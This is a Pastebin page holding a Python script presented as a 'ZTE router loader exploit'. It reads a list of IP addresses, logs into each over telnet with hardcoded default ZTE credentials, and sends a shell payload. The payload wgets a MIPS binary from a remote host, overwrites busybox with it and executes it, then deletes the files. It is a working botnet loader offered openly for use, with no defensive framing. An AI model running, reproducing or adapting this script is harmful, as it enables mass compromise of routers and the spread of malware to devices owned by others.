Advertisement
xB4ckdoorREAL

[ZTE ]ROUTER LOADER EXPLOIT

Oct 21st, 2018
2,214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. #NEW DISCORD:  https://discord.gg/PTW3yPp
  2.  
  3. import threading, sys, time, random, socket, re, os
  4.  
  5. if len(sys.argv) < 2:
  6.         print "Usage: python "+sys.argv[0]+" <list>"
  7.         sys.exit()
  8.  
  9. ips = open(sys.argv[1], "r").readlines()
  10. username = "root"
  11. password = "Zte521"
  12. cmd = "cd /var/; rm -rf busybox filename; wget http:/b4.ck.do.r/mips -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" #KEEP FORMAT OF PAYLOAD
  13. #cmd = "reboot"
  14. count = 0
  15. def readUntil(tn, string, timeout=15):
  16.     buf = ''
  17.     start_time = time.time()
  18.     while time.time() - start_time < timeout:
  19.         buf += tn.recv(1024)
  20.         time.sleep(0.01)
  21.         if string in buf: return buf
  22.     raise Exception('TIMEOUT!')
  23.  
  24. class ztee(threading.Thread):
  25.         def __init__ (self, ip):
  26.             threading.Thread.__init__(self)
  27.             self.ip = str(ip).rstrip('\n')
  28.         def run(self):
  29.         try:
  30.             tn = socket.socket()
  31.             tn.settimeout(5)
  32.             tn.connect((self.ip,23))
  33.         except Exception:
  34.             print "[%s] Timeout"%(count)
  35.         try:
  36.             time.sleep(0.01)
  37.             hoho = ''
  38.             hoho += readUntil(tn, ":")
  39.             if "ogin" in hoho:
  40.                 tn.send(username + "\n")
  41.         except Exception:
  42.             tn.close()
  43.         try:
  44.             hoho = ''
  45.             hoho += readUntil(tn, ":")
  46.             if "assword" in hoho:
  47.                 tn.send(password + "\n")
  48.                 time.sleep(3)
  49.         except Exception:
  50.             tn.close()
  51.         try:
  52.             mp = ''
  53.             mp += tn.recv(1024)
  54.             if "#" in mp or "$" in mp:
  55.                 tn.send(cmd + "\n")
  56.                 print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)
  57.                 time.sleep(30)
  58.                 tn.close()             
  59.         except Exception:
  60.             tn.close()
  61.             print "[%s] Timeout"%(count)
  62. for ip in ips:
  63.     try:
  64.         count += 1
  65.         t = ztee(ip)
  66.         t.start()
  67.         time.sleep(0.02)
  68.     except:
  69.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement